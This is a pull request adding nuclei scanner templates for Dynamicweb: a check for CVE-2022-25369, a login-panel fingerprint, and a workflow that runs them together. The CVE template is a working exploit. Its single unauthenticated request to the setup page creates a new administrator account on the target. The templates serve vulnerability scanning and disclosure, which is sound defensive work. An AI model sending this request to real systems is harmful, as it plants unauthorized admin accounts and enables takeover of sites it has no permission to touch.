Merge pull request #3765 from projectdiscovery/dynamicweb

Dynamicweb (CVE-2022-25369)

cves/2022/CVE-2022-25369.yaml

@@ -0,0 +1,36 @@
+id: CVE-2022-25369
+
+info:
+  name: Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin addition
+  author: pdteam
+  severity: critical
+  reference: https://blog.assetnote.io/2022/02/20/logicflaw-dynamicweb-rce/
+  metadata:
+    shodan-query: http.component:"Dynamicweb"
+  tags: cve,cve2022,dynamicweb,rce,unauth
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@test.com&adminname=test"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"Success": true'
+          - '"Success":true'
+        condition: or
+
+      - type: word
+        part: header
+        words:
+          - 'application/json'
+          - 'ASP.NET_SessionId'
+        condition: and
+        case-insensitive: true
+
+      - type: status
+        status:
+          - 200

exposed-panels/dynamicweb-panel.yaml

@@ -0,0 +1,35 @@
+id: dynamicweb-panel
+
+info:
+  name: Dynamicweb Login Panel
+  author: pdteam
+  severity: info
+  reference: https://www.dynamicweb.com
+  metadata:
+    shodan-query: http.component:"Dynamicweb"
+  tags: panel,dynamicweb
+
+requests:
+  - raw:
+      - |
+        GET /Admin/Access/default.aspx HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - Dynamicweb
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - version ([0-9.]+)

workflows/dynamicweb-workflow.yaml

@@ -0,0 +1,11 @@
+id: dynamicweb-workflow
+
+info:
+  name: Dynamicweb Security Checks
+  author: pdteam
+  description: A simple workflow that runs all dynamicweb related nuclei templates on a given target.
+
+workflows:
+  - template: exposed-panels/dynamicweb-panel.yaml
+    subtemplates:
+      - tags: dynamicweb